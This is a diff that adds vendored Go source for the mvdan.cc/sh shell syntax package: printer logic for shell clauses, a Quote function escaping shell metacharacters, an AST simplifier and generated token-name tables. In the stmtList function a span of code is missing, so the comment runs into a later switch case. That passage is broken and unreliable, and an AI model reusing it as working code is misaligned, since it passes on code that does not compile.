{ + p.WriteString("()") + } + if p.funcNextLine { + p.newline(Pos{}) + p.indent() + } else if !x.Parens || !p.minify { + p.space() + } + p.advanceLine(x.Body.Pos().Line()) + p.comments(x.Body.Comments...) + p.stmt(x.Body) + case *CaseClause: + p.WriteString("case ") + p.word(x.Word) + p.WriteString(" in") + p.advanceLine(x.In.Line()) + p.wantSpace = spaceRequired + if p.swtCaseIndent { + p.incLevel() + } + if len(x.Items) == 0 { + // Apparently "case x in; esac" is invalid shell. + p.mustNewline = true + } + for i, ci := range x.Items { + var last []Comment + for i, c := range ci.Comments { + if c.Pos().After(ci.Pos()) { + last = ci.Comments[i:] + break + } + p.comments(c) + } + p.newlines(ci.Pos()) + p.spacePad(ci.Pos()) + p.casePatternJoin(ci.Patterns) + p.WriteByte(')') + if !p.minify { + p.wantSpace = spaceRequired + } else { + p.wantSpace = spaceNotRequired + } + + bodyPos := stmtsPos(ci.Stmts, ci.Last) + bodyEnd := stmtsEnd(ci.Stmts, ci.Last) + sep := len(ci.Stmts) > 1 || bodyPos.Line() > p.line || + (bodyEnd.IsValid() && ci.OpPos.Line() > bodyEnd.Line()) + p.nestedStmts(ci.Stmts, ci.Last, ci.OpPos) + p.level++ + if !p.minify || i != len(x.Items)-1 { + if sep { + p.newlines(ci.OpPos) + p.wantNewline = true + } + p.spacedToken(ci.Op.String(), ci.OpPos) + p.advanceLine(ci.OpPos.Line()) + // avoid ; directly after tokens like ;; + p.wroteSemi = true + } + p.comments(last...) + p.flushComments() + p.level-- + } + p.comments(x.Last...) + if p.swtCaseIndent { + p.flushComments() + p.decLevel() + } + p.semiRsrv("esac", x.Esac) + case *ArithmCmd: + p.WriteString("((") + if x.Unsigned { + p.WriteString("# ") + } + p.arithmExpr(x.X, false, false) + p.WriteString("))") + case *TestClause: + p.WriteString("[[ ") + p.incLevel() + p.testExpr(x.X) + p.decLevel() + p.spacedString("]]", x.Right) + case *DeclClause: + p.spacedString(x.Variant.Value, x.Pos()) + p.assigns(x.Args) + case *TimeClause: + p.spacedString("time", x.Pos()) + if x.PosixFormat { + p.spacedString("-p", x.Pos()) + } + if x.Stmt != nil { + p.stmt(x.Stmt) + } + case *CoprocClause: + p.spacedString("coproc", x.Pos()) + if x.Name != nil { + p.space() + p.word(x.Name) + } + p.space() + p.stmt(x.Stmt) + case *LetClause: + p.spacedString("let", x.Pos()) + for _, n := range x.Exprs { + p.space() + p.arithmExpr(n, true, false) + } + case *TestDecl: + p.spacedString("@test", x.Pos()) + p.space() + p.word(x.Description) + p.space() + p.stmt(x.Body) + default: + panic(fmt.Sprintf("syntax.Printer: unexpected node type %T", x)) + } + return startRedirs +} + +func (p *Printer) ifClause(ic *IfClause, elif bool) { + if !elif { + p.spacedString("if", ic.Pos()) + } + p.nestedStmts(ic.Cond, ic.CondLast, Pos{}) + p.semiOrNewl("then", ic.ThenPos) + thenEnd := ic.FiPos + el := ic.Else + if el != nil { + thenEnd = el.Position + } + p.nestedStmts(ic.Then, ic.ThenLast, thenEnd) + + if el != nil && el.ThenPos.IsValid() { + p.comments(ic.Last...) + p.semiRsrv("elif", el.Position) + p.ifClause(el, true) + return + } + if el == nil { + p.comments(ic.Last...) + } else { + var left []Comment + for _, c := range ic.Last { + if c.Pos().After(el.Position) { + left = append(left, c) + break + } + p.comments(c) + } + p.semiRsrv("else", el.Position) + p.comments(left...) + p.nestedStmts(el.Then, el.ThenLast, ic.FiPos) + p.comments(el.Last...) + } + p.semiRsrv("fi", ic.FiPos) +} + +func (p *Printer) stmtList(stmts []*Stmt, last []Comment) { + sep := p.wantNewline || (len(stmts) > 0 && stmts[0].Pos().Line() > p.line) + for i, s := range stmts { + if i > 0 && p.singleLine && p.wantNewline && !p.wroteSemi { + // In singleLine mode, ensure we use semicolons between + // statements. + p.WriteByte(';') + p.wantSpace = spaceRequired + } + pos := s.Pos() + var midComs, endComs []Comment + for _, c := range s.Comments { + // Comments after the end of this command. Note that + // this includes "< 1: + // Force a newline if we find: + // { stmt; stmt; } + p.wantNewline = true + case closing.Line() > p.line && len(stmts) > 0 && + stmtsEnd(stmts, last).Line() < closing.Line(): + // Force a newline if we find: + // { stmt + // } + p.wantNewline = true + case len(p.pendingComments) > 0 && len(stmts) > 0: + // Force a newline if we find: + // for i in a b # stmt + // do foo; done + p.wantNewline = true + } + p.stmtList(stmts, last) + if closing.IsValid() { + p.flushComments() + } + p.decLevel() +} + +func (p *Printer) assigns(assigns []*Assign) { + p.incLevel() + for _, a := range assigns { + if p.wantsNewline(a.Pos(), true) { + p.bslashNewl() + } else { + p.spacePad(a.Pos()) + } + if a.Name != nil { + p.writeLit(a.Name.Value) + p.wroteIndex(a.Index) + if a.Append { + p.WriteByte('+') + } + if !a.Naked { + p.WriteByte('=') + } + } + if a.Value != nil { + // Ensure we don't use an escaped newline after '=', + // because that can result in indentation, thus + // splitting "foo=bar" into "foo= bar". + p.advanceLine(a.Value.Pos().Line()) + p.word(a.Value) + } else if a.Array != nil { + p.wantSpace = spaceNotRequired + p.WriteByte('(') + p.elemJoin(a.Array.Elems, a.Array.Last) + p.rightParen(a.Array.Rparen) + } + p.wantSpace = spaceRequired + } + p.decLevel() +} + +type wantSpaceState uint8 + +const ( + spaceNotRequired wantSpaceState = iota + spaceRequired // we should generally print a space or a newline next + spaceWritten // we have just written a space or newline +) + +// extraIndenter ensures that all lines in a '<<-' heredoc body have at least +// baseIndent leading tabs. Those that had more tab indentation than the first +// heredoc line will keep that relative indentation. +type extraIndenter struct { + bufWriter + baseIndent int + + firstIndent int + firstChange int + curLine []byte +} + +func (e *extraIndenter) WriteByte(b byte) error { + e.curLine = append(e.curLine, b) + if b != '\n' { + return nil + } + trimmed := bytes.TrimLeft(e.curLine, "\t") + if len(trimmed) == 1 { + // no tabs if this is an empty line, i.e. "\n" + e.bufWriter.Write(trimmed) + e.curLine = e.curLine[:0] + return nil + } + + lineIndent := len(e.curLine) - len(trimmed) + if e.firstIndent < 0 { + // This is the first heredoc line we add extra indentation to. + // Keep track of how much we indented. + e.firstIndent = lineIndent + e.firstChange = e.baseIndent - lineIndent + lineIndent = e.baseIndent + + } else if lineIndent < e.firstIndent { + // This line did not have enough indentation; simply indent it + // like the first line. + lineIndent = e.firstIndent + } else { + // This line had plenty of indentation. Add the extra + // indentation that the first line had, for consistency. + lineIndent += e.firstChange + } + e.bufWriter.WriteByte(tabwriter.Escape) + for i := 0; i < lineIndent; i++ { + e.bufWriter.WriteByte('\t') + } + e.bufWriter.WriteByte(tabwriter.Escape) + e.bufWriter.Write(trimmed) + e.curLine = e.curLine[:0] + return nil +} + +func (e *extraIndenter) WriteString(s string) (int, error) { + for i := 0; i < len(s); i++ { + e.WriteByte(s[i]) + } + return len(s), nil +} + +func startsWithLparen(node Node) bool { + switch node := node.(type) { + case *Stmt: + return startsWithLparen(node.Cmd) + case *BinaryCmd: + return startsWithLparen(node.X) + case *Subshell: + return true // keep ( ( + case *ArithmCmd: + return true // keep ( (( + } + return false +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/quote.go b/vendor/mvdan.cc/sh/v3/syntax/quote.go new file mode 100644 index 0000000000..6f27eba12d --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/quote.go @@ -0,0 +1,185 @@ +// Copyright (c) 2021, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "fmt" + "strings" + "unicode" + "unicode/utf8" +) + +type QuoteError struct { + ByteOffset int + Message string +} + +func (e QuoteError) Error() string { + return fmt.Sprintf("cannot quote character at byte %d: %s", e.ByteOffset, e.Message) +} + +const ( + quoteErrNull = "shell strings cannot contain null bytes" + quoteErrPOSIX = "POSIX shell lacks escape sequences" + quoteErrRange = "rune out of range" + quoteErrMksh = "mksh cannot escape codepoints above 16 bits" +) + +// Quote returns a quoted version of the input string, +// so that the quoted version is expanded or interpreted +// as the original string in the given language variant. +// +// Quoting is necessary when using arbitrary literal strings +// as words in a shell script or command. +// Without quoting, one can run into syntax errors, +// as well as the possibility of running unintended code. +// +// An error is returned when a string cannot be quoted for a variant. +// For instance, POSIX lacks escape sequences for non-printable characters, +// and no language variant can represent a string containing null bytes. +// In such cases, the returned error type will be *QuoteError. +// +// The quoting strategy is chosen on a best-effort basis, +// to minimize the amount of extra bytes necessary. +// +// Some strings do not require any quoting and are returned unchanged. +// Those strings can be directly surrounded in single quotes as well. +func Quote(s string, lang LangVariant) (string, error) { + if s == "" { + // Special case; an empty string must always be quoted, + // as otherwise it expands to zero fields. + return "''", nil + } + shellChars := false + nonPrintable := false + offs := 0 + for rem := s; len(rem) > 0; { + r, size := utf8.DecodeRuneInString(rem) + switch r { + // Like regOps; token characters. + case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`', + // Whitespace; might result in multiple fields. + ' ', '\t', '\r', '\n', + // Escape sequences would be expanded. + '\\', + // Would start a comment unless quoted. + '#', + // Might result in brace expansion. + '{', + // Might result in tilde expansion. + '~', + // Might result in globbing. + '*', '?', '[', + // Might result in an assignment. + '=': + shellChars = true + case '\x00': + return "", &QuoteError{ByteOffset: offs, Message: quoteErrNull} + } + if r == utf8.RuneError || !unicode.IsPrint(r) { + if lang == LangPOSIX { + return "", &QuoteError{ByteOffset: offs, Message: quoteErrPOSIX} + } + nonPrintable = true + } + rem = rem[size:] + offs += size + } + if !shellChars && !nonPrintable && !IsKeyword(s) { + // Nothing to quote; avoid allocating. + return s, nil + } + + // Single quotes are usually best, + // as they don't require any escaping of characters. + // If we have any invalid utf8 or non-printable runes, + // use $'' so that we can escape them. + // Note that we can't use double quotes for those. + var b strings.Builder + if nonPrintable { + b.WriteString("$'") + lastRequoteIfHex := false + offs := 0 + for rem := s; len(rem) > 0; { + nextRequoteIfHex := false + r, size := utf8.DecodeRuneInString(rem) + switch { + case r == '\'', r == '\\': + b.WriteByte('\\') + b.WriteRune(r) + case unicode.IsPrint(r) && r != utf8.RuneError: + if lastRequoteIfHex && isHex(r) { + b.WriteString("'$'") + } + b.WriteRune(r) + case r == '\a': + b.WriteString(`\a`) + case r == '\b': + b.WriteString(`\b`) + case r == '\f': + b.WriteString(`\f`) + case r == '\n': + b.WriteString(`\n`) + case r == '\r': + b.WriteString(`\r`) + case r == '\t': + b.WriteString(`\t`) + case r == '\v': + b.WriteString(`\v`) + case r < utf8.RuneSelf, r == utf8.RuneError && size == 1: + // \xXX, fixed at two hexadecimal characters. + fmt.Fprintf(&b, "\\x%02x", rem[0]) + // Unfortunately, mksh allows \x to consume more hex characters. + // Ensure that we don't allow it to read more than two. + if lang == LangMirBSDKorn { + nextRequoteIfHex = true + } + case r > utf8.MaxRune: + // Not a valid Unicode code point? + return "", &QuoteError{ByteOffset: offs, Message: quoteErrRange} + case lang == LangMirBSDKorn && r > 0xFFFD: + // From the CAVEATS section in R59's man page: + // + // mksh currently uses OPTU-16 internally, which is the same as + // UTF-8 and CESU-8 with 0000..FFFD being valid codepoints. + return "", &QuoteError{ByteOffset: offs, Message: quoteErrMksh} + case r < 0x10000: + // \uXXXX, fixed at four hexadecimal characters. + fmt.Fprintf(&b, "\\u%04x", r) + default: + // \UXXXXXXXX, fixed at eight hexadecimal characters. + fmt.Fprintf(&b, "\\U%08x", r) + } + rem = rem[size:] + lastRequoteIfHex = nextRequoteIfHex + offs += size + } + b.WriteString("'") + return b.String(), nil + } + + // Single quotes without any need for escaping. + if !strings.Contains(s, "'") { + return "'" + s + "'", nil + } + + // The string contains single quotes, + // so fall back to double quotes. + b.WriteByte('"') + for _, r := range s { + switch r { + case '"', '\\', '`', '$': + b.WriteByte('\\') + } + b.WriteRune(r) + } + b.WriteByte('"') + return b.String(), nil +} + +func isHex(r rune) bool { + return (r >= '0' && r <= '9') || + (r >= 'a' && r <= 'f') || + (r >= 'A' && r <= 'F') +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go b/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go new file mode 100644 index 0000000000..d43466f8fc --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go @@ -0,0 +1,61 @@ +// Code generated by "stringer -type=quoteState"; DO NOT EDIT. + +package syntax + +import "strconv" + +func _() { + // An "invalid array index" compiler error signifies that the constant values have changed. + // Re-run the stringer command to generate them again. + var x [1]struct{} + _ = x[noState-1] + _ = x[subCmd-2] + _ = x[subCmdBckquo-4] + _ = x[dblQuotes-8] + _ = x[hdocWord-16] + _ = x[hdocBody-32] + _ = x[hdocBodyTabs-64] + _ = x[arithmExpr-128] + _ = x[arithmExprLet-256] + _ = x[arithmExprCmd-512] + _ = x[arithmExprBrack-1024] + _ = x[testExpr-2048] + _ = x[testExprRegexp-4096] + _ = x[switchCase-8192] + _ = x[paramExpName-16384] + _ = x[paramExpSlice-32768] + _ = x[paramExpRepl-65536] + _ = x[paramExpExp-131072] + _ = x[arrayElems-262144] +} + +const _quoteState_name = "noStatesubCmdsubCmdBckquodblQuoteshdocWordhdocBodyhdocBodyTabsarithmExprarithmExprLetarithmExprCmdarithmExprBracktestExprtestExprRegexpswitchCaseparamExpNameparamExpSliceparamExpReplparamExpExparrayElems" + +var _quoteState_map = map[quoteState]string{ + 1: _quoteState_name[0:7], + 2: _quoteState_name[7:13], + 4: _quoteState_name[13:25], + 8: _quoteState_name[25:34], + 16: _quoteState_name[34:42], + 32: _quoteState_name[42:50], + 64: _quoteState_name[50:62], + 128: _quoteState_name[62:72], + 256: _quoteState_name[72:85], + 512: _quoteState_name[85:98], + 1024: _quoteState_name[98:113], + 2048: _quoteState_name[113:121], + 4096: _quoteState_name[121:135], + 8192: _quoteState_name[135:145], + 16384: _quoteState_name[145:157], + 32768: _quoteState_name[157:170], + 65536: _quoteState_name[170:182], + 131072: _quoteState_name[182:193], + 262144: _quoteState_name[193:203], +} + +func (i quoteState) String() string { + if str, ok := _quoteState_map[i]; ok { + return str + } + return "quoteState(" + strconv.FormatInt(int64(i), 10) + ")" +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/simplify.go b/vendor/mvdan.cc/sh/v3/syntax/simplify.go new file mode 100644 index 0000000000..e82fd55afa --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/simplify.go @@ -0,0 +1,250 @@ +// Copyright (c) 2017, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import "bytes" + +// Simplify modifies a node to remove redundant pieces of syntax, and returns +// whether any changes were made. +// +// The changes currently applied are: +// +// Remove clearly useless parentheses $(( (expr) )) +// Remove dollars from vars in exprs (($var)) +// Remove duplicate subshells $( (stmts) ) +// Remove redundant quotes [[ "$var" == str ]] +// Merge negations with unary operators [[ ! -n $var ]] +// Use single quotes to shorten literals "\$foo" +func Simplify(n Node) bool { + s := simplifier{} + Walk(n, s.visit) + return s.modified +} + +type simplifier struct { + modified bool +} + +func (s *simplifier) visit(node Node) bool { + switch x := node.(type) { + case *Assign: + x.Index = s.removeParensArithm(x.Index) + // Don't inline params, as x[i] and x[$i] mean + // different things when x is an associative + // array; the first means "i", the second "$i". + case *ParamExp: + x.Index = s.removeParensArithm(x.Index) + // don't inline params - same as above. + + if x.Slice == nil { + break + } + x.Slice.Offset = s.removeParensArithm(x.Slice.Offset) + x.Slice.Offset = s.inlineSimpleParams(x.Slice.Offset) + x.Slice.Length = s.removeParensArithm(x.Slice.Length) + x.Slice.Length = s.inlineSimpleParams(x.Slice.Length) + case *ArithmExp: + x.X = s.removeParensArithm(x.X) + x.X = s.inlineSimpleParams(x.X) + case *ArithmCmd: + x.X = s.removeParensArithm(x.X) + x.X = s.inlineSimpleParams(x.X) + case *ParenArithm: + x.X = s.removeParensArithm(x.X) + x.X = s.inlineSimpleParams(x.X) + case *BinaryArithm: + x.X = s.inlineSimpleParams(x.X) + x.Y = s.inlineSimpleParams(x.Y) + case *CmdSubst: + x.Stmts = s.inlineSubshell(x.Stmts) + case *Subshell: + x.Stmts = s.inlineSubshell(x.Stmts) + case *Word: + x.Parts = s.simplifyWord(x.Parts) + case *TestClause: + x.X = s.removeParensTest(x.X) + x.X = s.removeNegateTest(x.X) + case *ParenTest: + x.X = s.removeParensTest(x.X) + x.X = s.removeNegateTest(x.X) + case *BinaryTest: + x.X = s.unquoteParams(x.X) + x.X = s.removeNegateTest(x.X) + if x.Op == TsMatchShort { + s.modified = true + x.Op = TsMatch + } + switch x.Op { + case TsMatch, TsNoMatch: + // unquoting enables globbing + default: + x.Y = s.unquoteParams(x.Y) + } + x.Y = s.removeNegateTest(x.Y) + case *UnaryTest: + x.X = s.unquoteParams(x.X) + } + return true +} + +func (s *simplifier) simplifyWord(wps []WordPart) []WordPart { +parts: + for i, wp := range wps { + dq, _ := wp.(*DblQuoted) + if dq == nil || len(dq.Parts) != 1 { + break + } + lit, _ := dq.Parts[0].(*Lit) + if lit == nil { + break + } + var buf bytes.Buffer + escaped := false + for _, r := range lit.Value { + switch r { + case '\\': + escaped = !escaped + if escaped { + continue + } + case '\'': + continue parts + case '$', '"', '`': + escaped = false + default: + if escaped { + continue parts + } + escaped = false + } + buf.WriteRune(r) + } + newVal := buf.String() + if newVal == lit.Value { + break + } + s.modified = true + wps[i] = &SglQuoted{ + Left: dq.Pos(), + Right: dq.End(), + Dollar: dq.Dollar, + Value: newVal, + } + } + return wps +} + +func (s *simplifier) removeParensArithm(x ArithmExpr) ArithmExpr { + for { + par, _ := x.(*ParenArithm) + if par == nil { + return x + } + s.modified = true + x = par.X + } +} + +func (s *simplifier) inlineSimpleParams(x ArithmExpr) ArithmExpr { + w, _ := x.(*Word) + if w == nil || len(w.Parts) != 1 { + return x + } + pe, _ := w.Parts[0].(*ParamExp) + if pe == nil || !ValidName(pe.Param.Value) { + // Not a parameter expansion, or not a valid name, like $3. + return x + } + if pe.Excl || pe.Length || pe.Width || pe.Slice != nil || + pe.Repl != nil || pe.Exp != nil || pe.Index != nil { + // A complex parameter expansion can't be simplified. + // + // Note that index expressions can't generally be simplified + // either. It's fine to turn ${a[0]} into a[0], but others like + // a[*] are invalid in many shells including Bash. + return x + } + s.modified = true + return &Word{Parts: []WordPart{pe.Param}} +} + +func (s *simplifier) inlineSubshell(stmts []*Stmt) []*Stmt { + for len(stmts) == 1 { + st := stmts[0] + if st.Negated || st.Background || st.Coprocess || + len(st.Redirs) > 0 { + break + } + sub, _ := st.Cmd.(*Subshell) + if sub == nil { + break + } + s.modified = true + stmts = sub.Stmts + } + return stmts +} + +func (s *simplifier) unquoteParams(x TestExpr) TestExpr { + w, _ := x.(*Word) + if w == nil || len(w.Parts) != 1 { + return x + } + dq, _ := w.Parts[0].(*DblQuoted) + if dq == nil || len(dq.Parts) != 1 { + return x + } + if _, ok := dq.Parts[0].(*ParamExp); !ok { + return x + } + s.modified = true + w.Parts = dq.Parts + return w +} + +func (s *simplifier) removeParensTest(x TestExpr) TestExpr { + for { + par, _ := x.(*ParenTest) + if par == nil { + return x + } + s.modified = true + x = par.X + } +} + +func (s *simplifier) removeNegateTest(x TestExpr) TestExpr { + u, _ := x.(*UnaryTest) + if u == nil || u.Op != TsNot { + return x + } + switch y := u.X.(type) { + case *UnaryTest: + switch y.Op { + case TsEmpStr: + y.Op = TsNempStr + s.modified = true + return y + case TsNempStr: + y.Op = TsEmpStr + s.modified = true + return y + case TsNot: + s.modified = true + return y.X + } + case *BinaryTest: + switch y.Op { + case TsMatch: + y.Op = TsNoMatch + s.modified = true + return y + case TsNoMatch: + y.Op = TsMatch + s.modified = true + return y + } + } + return x +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/token_string.go b/vendor/mvdan.cc/sh/v3/syntax/token_string.go new file mode 100644 index 0000000000..ab5c83aca0 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/token_string.go @@ -0,0 +1,149 @@ +// Code generated by "stringer -type token -linecomment -trimprefix _"; DO NOT EDIT. + +package syntax + +import "strconv" + +func _() { + // An "invalid array index" compiler error signifies that the constant values have changed. + // Re-run the stringer command to generate them again. + var x [1]struct{} + _ = x[illegalTok-0] + _ = x[_EOF-1] + _ = x[_Newl-2] + _ = x[_Lit-3] + _ = x[_LitWord-4] + _ = x[_LitRedir-5] + _ = x[sglQuote-6] + _ = x[dblQuote-7] + _ = x[bckQuote-8] + _ = x[and-9] + _ = x[andAnd-10] + _ = x[orOr-11] + _ = x[or-12] + _ = x[orAnd-13] + _ = x[dollar-14] + _ = x[dollSglQuote-15] + _ = x[dollDblQuote-16] + _ = x[dollBrace-17] + _ = x[dollBrack-18] + _ = x[dollParen-19] + _ = x[dollDblParen-20] + _ = x[leftBrack-21] + _ = x[dblLeftBrack-22] + _ = x[leftParen-23] + _ = x[dblLeftParen-24] + _ = x[rightBrace-25] + _ = x[rightBrack-26] + _ = x[rightParen-27] + _ = x[dblRightParen-28] + _ = x[semicolon-29] + _ = x[dblSemicolon-30] + _ = x[semiAnd-31] + _ = x[dblSemiAnd-32] + _ = x[semiOr-33] + _ = x[exclMark-34] + _ = x[tilde-35] + _ = x[addAdd-36] + _ = x[subSub-37] + _ = x[star-38] + _ = x[power-39] + _ = x[equal-40] + _ = x[nequal-41] + _ = x[lequal-42] + _ = x[gequal-43] + _ = x[addAssgn-44] + _ = x[subAssgn-45] + _ = x[mulAssgn-46] + _ = x[quoAssgn-47] + _ = x[remAssgn-48] + _ = x[andAssgn-49] + _ = x[orAssgn-50] + _ = x[xorAssgn-51] + _ = x[shlAssgn-52] + _ = x[shrAssgn-53] + _ = x[rdrOut-54] + _ = x[appOut-55] + _ = x[rdrIn-56] + _ = x[rdrInOut-57] + _ = x[dplIn-58] + _ = x[dplOut-59] + _ = x[clbOut-60] + _ = x[hdoc-61] + _ = x[dashHdoc-62] + _ = x[wordHdoc-63] + _ = x[rdrAll-64] + _ = x[appAll-65] + _ = x[cmdIn-66] + _ = x[cmdOut-67] + _ = x[plus-68] + _ = x[colPlus-69] + _ = x[minus-70] + _ = x[colMinus-71] + _ = x[quest-72] + _ = x[colQuest-73] + _ = x[assgn-74] + _ = x[colAssgn-75] + _ = x[perc-76] + _ = x[dblPerc-77] + _ = x[hash-78] + _ = x[dblHash-79] + _ = x[caret-80] + _ = x[dblCaret-81] + _ = x[comma-82] + _ = x[dblComma-83] + _ = x[at-84] + _ = x[slash-85] + _ = x[dblSlash-86] + _ = x[colon-87] + _ = x[tsExists-88] + _ = x[tsRegFile-89] + _ = x[tsDirect-90] + _ = x[tsCharSp-91] + _ = x[tsBlckSp-92] + _ = x[tsNmPipe-93] + _ = x[tsSocket-94] + _ = x[tsSmbLink-95] + _ = x[tsSticky-96] + _ = x[tsGIDSet-97] + _ = x[tsUIDSet-98] + _ = x[tsGrpOwn-99] + _ = x[tsUsrOwn-100] + _ = x[tsModif-101] + _ = x[tsRead-102] + _ = x[tsWrite-103] + _ = x[tsExec-104] + _ = x[tsNoEmpty-105] + _ = x[tsFdTerm-106] + _ = x[tsEmpStr-107] + _ = x[tsNempStr-108] + _ = x[tsOptSet-109] + _ = x[tsVarSet-110] + _ = x[tsRefVar-111] + _ = x[tsReMatch-112] + _ = x[tsNewer-113] + _ = x[tsOlder-114] + _ = x[tsDevIno-115] + _ = x[tsEql-116] + _ = x[tsNeq-117] + _ = x[tsLeq-118] + _ = x[tsGeq-119] + _ = x[tsLss-120] + _ = x[tsGtr-121] + _ = x[globQuest-122] + _ = x[globStar-123] + _ = x[globPlus-124] + _ = x[globAt-125] + _ = x[globExcl-126] +} + +const _token_name = "illegalTokEOFNewlLitLitWordLitRedir'\"`&&&||||&$$'$\"${$[$($(([[[(((}])));;;;&;;&;|!~++--***==!=<=>=+=-=*=/=%=&=|=^=<<=>>=>>><<><&>&>|<<<<-<<<&>&>><(>(+:+-:-?:?=:=%%%###^^^,,,@///:-e-f-d-c-b-p-S-L-k-g-u-G-O-N-r-w-x-s-t-z-n-o-v-R=~-nt-ot-ef-eq-ne-le-ge-lt-gt?(*(+(@(!(" + +var _token_index = [...]uint16{0, 10, 13, 17, 20, 27, 35, 36, 37, 38, 39, 41, 43, 44, 46, 47, 49, 51, 53, 55, 57, 60, 61, 63, 64, 66, 67, 68, 69, 71, 72, 74, 76, 79, 81, 82, 83, 85, 87, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 117, 120, 121, 123, 124, 126, 128, 130, 132, 134, 137, 140, 142, 145, 147, 149, 150, 152, 153, 155, 156, 158, 159, 161, 162, 164, 165, 167, 168, 170, 171, 173, 174, 175, 177, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 231, 234, 237, 240, 243, 246, 249, 252, 255, 257, 259, 261, 263, 265} + +func (i token) String() string { + if i >= token(len(_token_index)-1) { + return "token(" + strconv.FormatInt(int64(i), 10) + ")" + } + return _token_name[_token_index[i]:_token_index[i+1]] +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/tokens.go b/vendor/mvdan.cc/sh/v3/syntax/tokens.go new file mode 100644 index 0000000000..6a64b21378 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/tokens.go @@ -0,0 +1,349 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +//go:generate stringer -type token -linecomment -trimprefix _ + +type token uint32 + +// The list of all possible tokens. +const ( + illegalTok token = iota + + _EOF + _Newl + _Lit + _LitWord + _LitRedir + + sglQuote // ' + dblQuote // " + bckQuote // ` + + and // & + andAnd // && + orOr // || + or // | + orAnd // |& + + dollar // $ + dollSglQuote // $' + dollDblQuote // $" + dollBrace // ${ + dollBrack // $[ + dollParen // $( + dollDblParen // $(( + leftBrack // [ + dblLeftBrack // [[ + leftParen // ( + dblLeftParen // (( + + rightBrace // } + rightBrack // ] + rightParen // ) + dblRightParen // )) + semicolon // ; + + dblSemicolon // ;; + semiAnd // ;& + dblSemiAnd // ;;& + semiOr // ;| + + exclMark // ! + tilde // ~ + addAdd // ++ + subSub // -- + star // * + power // ** + equal // == + nequal // != + lequal // <= + gequal // >= + + addAssgn // += + subAssgn // -= + mulAssgn // *= + quoAssgn // /= + remAssgn // %= + andAssgn // &= + orAssgn // |= + xorAssgn // ^= + shlAssgn // <<= + shrAssgn // >>= + + rdrOut // > + appOut // >> + rdrIn // < + rdrInOut // <> + dplIn // <& + dplOut // >& + clbOut // >| + hdoc // << + dashHdoc // <<- + wordHdoc // <<< + rdrAll // &> + appAll // &>> + + cmdIn // <( + cmdOut // >( + + plus // + + colPlus // :+ + minus // - + colMinus // :- + quest // ? + colQuest // :? + assgn // = + colAssgn // := + perc // % + dblPerc // %% + hash // # + dblHash // ## + caret // ^ + dblCaret // ^^ + comma // , + dblComma // ,, + at // @ + slash // / + dblSlash // // + colon // : + + tsExists // -e + tsRegFile // -f + tsDirect // -d + tsCharSp // -c + tsBlckSp // -b + tsNmPipe // -p + tsSocket // -S + tsSmbLink // -L + tsSticky // -k + tsGIDSet // -g + tsUIDSet // -u + tsGrpOwn // -G + tsUsrOwn // -O + tsModif // -N + tsRead // -r + tsWrite // -w + tsExec // -x + tsNoEmpty // -s + tsFdTerm // -t + tsEmpStr // -z + tsNempStr // -n + tsOptSet // -o + tsVarSet // -v + tsRefVar // -R + + tsReMatch // =~ + tsNewer // -nt + tsOlder // -ot + tsDevIno // -ef + tsEql // -eq + tsNeq // -ne + tsLeq // -le + tsGeq // -ge + tsLss // -lt + tsGtr // -gt + + globQuest // ?( + globStar // *( + globPlus // +( + globAt // @( + globExcl // !( +) + +type RedirOperator token + +const ( + RdrOut = RedirOperator(rdrOut) + iota // > + AppOut // >> + RdrIn // < + RdrInOut // <> + DplIn // <& + DplOut // >& + ClbOut // >| + Hdoc // << + DashHdoc // <<- + WordHdoc // <<< + RdrAll // &> + AppAll // &>> +) + +type ProcOperator token + +const ( + CmdIn = ProcOperator(cmdIn) + iota // <( + CmdOut // >( +) + +type GlobOperator token + +const ( + GlobZeroOrOne = GlobOperator(globQuest) + iota // ?( + GlobZeroOrMore // *( + GlobOneOrMore // +( + GlobOne // @( + GlobExcept // !( +) + +type BinCmdOperator token + +const ( + AndStmt = BinCmdOperator(andAnd) + iota // && + OrStmt // || + Pipe // | + PipeAll // |& +) + +type CaseOperator token + +const ( + Break = CaseOperator(dblSemicolon) + iota // ;; + Fallthrough // ;& + Resume // ;;& + ResumeKorn // ;| +) + +type ParNamesOperator token + +const ( + NamesPrefix = ParNamesOperator(star) // * + NamesPrefixWords = ParNamesOperator(at) // @ +) + +type ParExpOperator token + +const ( + AlternateUnset = ParExpOperator(plus) + iota // + + AlternateUnsetOrNull // :+ + DefaultUnset // - + DefaultUnsetOrNull // :- + ErrorUnset // ? + ErrorUnsetOrNull // :? + AssignUnset // = + AssignUnsetOrNull // := + RemSmallSuffix // % + RemLargeSuffix // %% + RemSmallPrefix // # + RemLargePrefix // ## + UpperFirst // ^ + UpperAll // ^^ + LowerFirst // , + LowerAll // ,, + OtherParamOps // @ +) + +type UnAritOperator token + +const ( + Not = UnAritOperator(exclMark) + iota // ! + BitNegation // ~ + Inc // ++ + Dec // -- + Plus = UnAritOperator(plus) // + + Minus = UnAritOperator(minus) // - +) + +type BinAritOperator token + +const ( + Add = BinAritOperator(plus) // + + Sub = BinAritOperator(minus) // - + Mul = BinAritOperator(star) // * + Quo = BinAritOperator(slash) // / + Rem = BinAritOperator(perc) // % + Pow = BinAritOperator(power) // ** + Eql = BinAritOperator(equal) // == + Gtr = BinAritOperator(rdrOut) // > + Lss = BinAritOperator(rdrIn) // < + Neq = BinAritOperator(nequal) // != + Leq = BinAritOperator(lequal) // <= + Geq = BinAritOperator(gequal) // >= + And = BinAritOperator(and) // & + Or = BinAritOperator(or) // | + Xor = BinAritOperator(caret) // ^ + Shr = BinAritOperator(appOut) // 